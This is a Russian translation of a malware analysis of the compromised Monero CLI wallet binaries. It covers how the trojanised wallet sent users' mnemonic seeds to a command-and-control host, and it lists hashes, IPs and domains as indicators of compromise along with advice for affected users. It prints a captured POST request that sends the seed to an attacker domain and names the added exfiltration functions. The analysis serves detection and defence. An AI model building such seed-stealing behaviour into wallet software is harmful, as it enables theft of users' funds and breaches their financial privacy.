ДИСКЛЕЙМЕР: Анализ причины будет опубликован ещё в одном посте. Как упоминалось в посте на getmonero.org, бинарные файлы CLI-кошелька Monero были недавно взломаны. Для тех, кто не знает, что такое Monero — это криптовалюта, ориентированная на обеспечение финансовой анонимности своих пользователей, и в её основе лежат хорошо известные технологии кольцевых подписей и конфиденциальных транзакций. Рекомендую ознакомиться с работой Mastering Monero (Изучаем Monero), чтобы лучше понять её основы. Перед тем как приступить к анализу причин случившегося, мне бы хотелось отметить, что на момент написания я представления не имел о том, КАК был взломан сервер downloads.getmonero.org. Этот пост будет обновлён, как только технические специалисты закончат проверку. Сначала пользователь nikitasius поднял на Github вопрос относительно несоответствия хеша (SHA256: b99009d2e47989262c23f7277808f7bb0115075e7467061d54fd80c51a22e63d для архива monero.tar.bz2) monero.tar.bz2 для Linux. Этот файл является сжатым архивом, содержащим клиент с поддержкой командной строки Monero, используемый для управления кошельком и демоном. Пользователь стал копать глубже и выяснил, что только monero-wallet-cli имел хеш, отличавшийся от оригинальной версии. Затем эта информация была опубликована в треде Reddit, где большая часть членов сообщества просила меня пролить хоть какой-то свет на произошедшее. Как только бинарный файл оказался у меня, я приступил к анализу. Я решил использовать более динамичный метод анализа (то есть основанный на «эмпирических» данных). Чтобы глубже понять, как работают эти программы, необходимы оба метода (статического и динамического) анализа. Я настроил свой Docker и попытался запустить ./monero-wallet-cli, указав свой удалённый узел. Произошла ошибка, так как моя версия GLIB_C не была обновлена; это был первый красный флаг, так как все остальные программы Monero, извлечённые из взломанного архива, работали нормально. Как показала команда file, он был динамически связан, и неизвестный злоумышленник не подчистил отладочную информацию. Нам крупно повезло, так как наличие отладочной информации в значительной мере упрощает анализ двоичного файла. После сравнения информации у нас возникли две теории: злоумышленник оставляет отладочную информацию, поскольку не является профессионалом в работе с C++ (и просто проверял репозиторий), или же отладочная информация была оставлена специально, чтобы минимизировать количество красных флагов. Код: monero-wallet-cli--bad: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1c58ece68c198390e539c636da4f9af36e877e7c, with debug_info, not stripped Вредоносный бинарный файл был создан на основе коммита f07c326f13dc25efcfe6d680623c8cacb2dea2db по тегу release-0.15.0. Вредоносный бинарный файл был создан на основе коммита f07c326f13dc25efcfe6d680623c8cacb2dea2db по тегу release-0.15.0. Анализ двоичных файлов для Linux Как только мы запустили бинарный файл, у нас появилась возможность заняться им плотнее. Первая вещь, на которую я обратил внимание, заключалась в том, что он дважды запрашивал пароль кошелька. Легальный кошелёк делает это лишь единожды. В конце этого поста станет понятно, почему так происходило. Я выбрал динамический метод анализа (в отличие от статического анализа, проведённого MaxXor или bartblaze), а это означало, что во время работы бинарного файла я пытался захватить все входящие и исходящие данные моего хоста. Это делалось при помощи нескольких полезных инструментов, таких как специальный демон Monero, позволяющий регистрировать все соединения, а также tcpdump для перехвата и анализа всех пакетов. Прежде всего я создал новый кошелёк. Я ничего не замечал до тех пор, пока не проверил журнал, созданный моей программой TCPDUMP. Появились некоторые новые соединения, одно из которых было особо интересно. Мой узел начал связываться с другим хостом (IP которого был следующим: 91.210.104.245) через порт 18081 (далее будем называть его MALICIOUS_IP). Я думал, что это другой узел Monero (круто!), пока не вспомнил, что запустил клиент, указав свой локальный узел. В моей сети у узла был локальный IP 192.x.x.x. Было довольно странно, что злоумышленники получили данные кошелька через порт 18081. Порт 18081 обычно используется для RPC API демона Monero, поэтому это соединение должно было казаться доверенным. Пользователь мог подумать: «Я использую кошелёк Monero, так что, очевидно, кошелёк должен связаться с узлом, особенно если я не запускаю демон Monero локально». Код: POST http/1.1 Content-Type: "application/x-www-form-urlencoded" Host: node.xmrsupport.co ?seed=[REDACTED_HEX_SEED] Пакеты, перехваченные и проанализированные при помощи tcpdump, показали, что мнемоническая фраза отправлялась на MALICIOUS_IP. Статический анализ подтвердил это; когда кошелёк создаётся посредством функции cryptonote::simple_wallet::new_wallet, клиент вызывает функцию cryptonote::simple_wallet:: print_seed. И если изучить функцию cryptonote::simple_wallet:: print_seed, выяснится, что во вредоносный бинарный файл было включено две новые функции: cryptonote::simple_wallet::send_to_cc и cryptonote::simple_wallet::send_seed. Что интересно в их названии: оно подразумевают отправку «мнемонической фразы» (которая шифрует приватный ключ отправки кошелька Monero) на сервер C&C (Command and Control (команды и управления), известный как MALICIOUS_IP). Функция cryptonote::simple_wallet:: print_seed вызывается трижды: при создании нового кошелька, при открытии нового кошелька и когда команда seed вводится в командную строку, что означает, что кто-то, открывший и создавший кошелёк посредством вредоносной программы, отправляет свои приватные ключи злоумышленнику. Кроме того, нами был обнаружен ещё один IP-адрес: 45.9.148.65, связанный с node.xmrsupport.co с SSL сертификатом для узла node.hashmonero.com. В конечном счёте мы получили данные двух доменов: Код: Domain name: xmrsupport.co Registry Domain ID: D9E3AC179ACA44FE4B81F274517F8F47E-NSR Registrar WHOIS Server: whois.opensrs.net Registrar URL: www.opensrs.com Updated Date: 2019-11-14T16:02:52Z Creation Date: 2019-11-14T16:02:51Z и Код: Domain Name: hashmonero.com Registry Domain ID: 2455018003_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.namesilo.com Registrar URL: http://www.namesilo.com Updated Date: 2019-11-13T21:27:07Z Creation Date: 2019-11-13T21:27:06Z Registry Expiry Date: 2020-11-13T21:27:06Z Когда взламывают ваш кошелёк, то крадут не только монеты; необходимо учитывать, что ещё злоумышленник может сделать, используя вашу мнемоническую фразу. Поскольку Monero использует скрытые адреса, злоумышленник не сможет восстановить адреса, по которым вы проводили транзакции (так что эта информация остаётся в безопасности). Тем не менее злоумышленник может выяснить, сколько XMR было у вас в кошельке, и проанализировав время ваших транзакций, понять, в какой временной зоне вы находитесь. Наконец, злоумышленнику будут известны ID транзакций, связанные с вашим кошельком. В заключение необходимо отметить, что мнемоническая фраза отправлялась злоумышленнику, способному слить ваши XMR с кошелька Monero. Как кто-то отметил в своём посте, кажется, этот бинарный файл не позволяет открывать любые порты с хоста. И я могу подтвердить, что вредоносная программа в основном предназначена для кражи монет путём отправки вашего приватного ключа злоумышленнику. Помимо этого, мне хотелось бы отметить, что утечка вашей мнемонической фразы может нарушить вашу финансовую анонимность; как я уже упоминал ранее, все входящие и исходящие транзакции будут видны злоумышленнику. Анализ двоичных файлов для Windows Как и в случае с двоичными файлами для Linux, мы, в первую очередь, положились на динамический анализ, выбрав службу hybrid-analysis.com, чтобы разобраться в ситуации. Я могу подтвердить, что двоичные файлы Windows также были взломаны — в них мы нашли те же вредоносные функции, которые использовались в версии для Linux. Так как мы уже обсудили двоичный файл для Linux в посте, опубликованном bartblaze, позвольте представить вам результаты статистического анализа двоичного файла для Windows. Мы начали с objdump, полезной программы, позволяющей дизассемблировать любой двоичный файл (даже файлы .exe для Windows NT). Быстрое исследование с использованием запроса send_to_cc подтвердило, что злоумышленник для создания бинарного файла для Windows использовал тот же исходник. Код: _ZN10cryptonote13simple_wallet10send_to_ccENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES6_i _ZN10cryptonote13simple_wallet9send_seedERKN4epee15wipeable_stringE Интересно, что в результате гибридного анализа выяснилось, что версия вредоносного программного обеспечения (ПО) для Windows имела некоторые намёки на дополнительное вредоносное поведение. Она проверяла ключ регистрации HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER, чтобы определить установлен ли TSUSERENABLED в действительное значение. Важно, что эта версия проверяла, включён или нет удалённый десктоп. Обычно это делается, если злоумышленник хочет распространить вредоносное ПО буквально по всей сети. Тем не менее оказалось, что эта функция была забыта из-за временных ограничений (другие попытки использования RDP отсутствовали). Боже! И что же мне делать? Вам кажется, что ваш кошелёк был взломан? Сначала проверьте, не загрузили ли вы вредоносное ПО, сравнив хеш вашего файла с оригинальным. Настоятельно рекомендуется это сделать тем, кто скачал CLI-кошелёк с этого сайта в понедельник 18 числа между 2:30 AM UTC и 4:30 PM UTC. Если вам необходимо более подробное руководство, я бы рекомендовал воспользоваться вот этим. Если вы удивлены, почему я не опубликовал эту информацию до того, как кто-то написал пост в отношении случившегося, то вот вам причина. Я и ещё несколько контрибьюторов из нашего сообщества пытались выяснить личность злоумышленника, проанализировав метаданные его транзакций. К сожалению, нам не удалось воспроизвести саму кражу мнемонической фразы, и мы не получили больше информации о злоумышленнике. Данные Двоичный файл для Linux был создан на основе версии 0.15 в папке /home/amp/BUILDS/monero. Двоичный файл для Windows был создан на основе того же исходника, что и для Linux. monero-wallet-cli.exe: MD5: 72417ab40b8ed359a37b72ac8d399bd7 SHA-256: 963c1dfc86ff0e40cee176986ef9f2ce24fda53936c16f226c7387e1a3d67f74 Тип файла: monero-wallet-cli.exe: PE32+ executable (console) x86-64, for MS Windows Размер файла: 65,14 Мб (68302960 байт) monero-wallet-cli: MD5: d267be7efc3f2c4dde8e90b9b489ed2a SHA-256: 7ab9afbc5f9a1df687558d570192fbfe9e085712657d2cfa5524f2c8caccca31 Тип файла: ELF Размер файла: 27,63 Мб (28967688 байт) Повреждённые домены и IP IPv4 91.210.104.245 IPv4 45.9.148.65 домен hashmonero.com домен xmrsupport.co Мне бы хотелось поблагодарить всех тех, кто помог нам в анализе, но особенно KnifeOfPi, moneromooo, MaxXor, bartblaze, hyc и anhdres за иллюстрацию. Источник: Monero Windows and Linux CLI compromised: the analysis of binaries Перевод: Mr. Pickles (@v1docq47) Редактирование: Agent LvM (@LvMi4) Коррекция: Kukima (@Kukima)